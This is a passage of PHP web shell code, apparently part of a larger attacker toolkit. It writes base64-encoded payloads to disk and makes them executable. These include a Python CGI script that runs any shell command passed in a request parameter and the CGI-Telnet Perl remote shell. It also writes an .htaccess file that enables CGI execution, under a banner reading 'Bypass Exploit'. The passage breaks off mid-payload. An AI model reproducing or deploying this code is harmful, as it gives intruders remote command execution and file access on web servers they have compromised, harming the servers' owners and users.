 734 IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
 735 cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
 736 IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
 737 ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
 738 YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
 739 KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
 740 aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
 741 PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
 742 PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
 743 ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
 744 ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
 745 dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
 746 aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
 747 biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
 748 bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
 749 TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
 750 bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
 751 ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
 752 SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
 753 ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
 754 cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
 755     $file = fopen("python.izo", "w+");
 756     $write = fwrite($file, base64_decode($pythonp));
 757     fclose($file);
 758     chmod("python.izo", 0755);
 759     echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
 760 
 761  </div>";
 762 } elseif (isset($_GET['x']) && ($_GET['x'] == 'cgi')) {
 763     echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1  Bypass Exploit]==--+ </font></b><br><br>";
 764     mkdir('cgitelnet1', 0755);
 765     chdir('cgitelnet1');
 766     $kokdosya = ".htaccess";
 767     $dosya_adi = "$kokdosya";
 768     $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
 769     $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
 770 
 771 AddType application/x-httpd-cgi .cin
 772 
 773 AddHandler cgi-script .cin
 774 AddHandler cgi-script .cin";
 775     fwrite($dosya, $metin);
 776     fclose($dosya);
 777     $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL